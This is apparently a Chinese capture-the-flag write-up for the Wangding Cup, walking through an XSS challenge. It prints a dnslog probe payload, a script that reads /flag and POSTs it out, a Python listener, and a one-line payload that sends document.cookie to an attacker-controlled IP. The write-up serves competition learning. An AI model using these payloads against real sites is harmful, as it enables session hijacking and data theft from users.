pic

最终排名:309

pic

Web

签到

网鼎杯公众号得到flag

WEB02

首先是登录系统任意账号密码登录

pic

然后测试存在xss漏洞

pic

dnslog测试也成功,payload:**<script src=http://dnslog的ip></script>**

pic

第三步使用xss脚本将/flag路由的响应回显到当前界面(/flag路由打开f12可以看到)

<script>
(function() {
var opium = new XMLHttpRequest();
opium.open('GET', '/flag', true);
opium.onload = function() {
if (opium.status === 200) {
var flagData = opium.responseText;
sendFlag(flagData);
}
};
opium.send();
function sendFlag(flag) {
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', '页面的hash值', true);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpRequest.send('content=flag:' + flag);
}
})();
</script>

代码解释:

pic

最后使用flag

pic

题外话:可以本地测试一下是否可以正常回显(可测可不测)

import socket

HOST = '本机IP地址'
PORT = 2022

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket.bind((HOST, PORT))
# 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它
server_socket.listen(1)

print('等待客户端连接...')

# 接受客户端连接
client_socket, addr = server_socket.accept()
print('客户端已连接:', addr)

# 接收客户端发送的数据
data = client_socket.recv(1024)
print('接收到数据:', data.decode())

# 将接收到的数据原样返回给客户端
client_socket.sendall(data)

# 关闭客户端连接
client_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源;

# 关闭服务器套接字
server_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源。

再在页面输入payload:<script>document.write('<img src="http://IPv4地址:2022/'+document.cookie+'"/>')</script>,此时python脚本处正常的话会有响应的返回结果

参考链接:XSS之Cookie外带攻击姿势详析

Misc

比赛时全泡在web题上了,没吃午饭没睡午觉,下午出web题前还要上课汇报论文……有时间会复现出Misc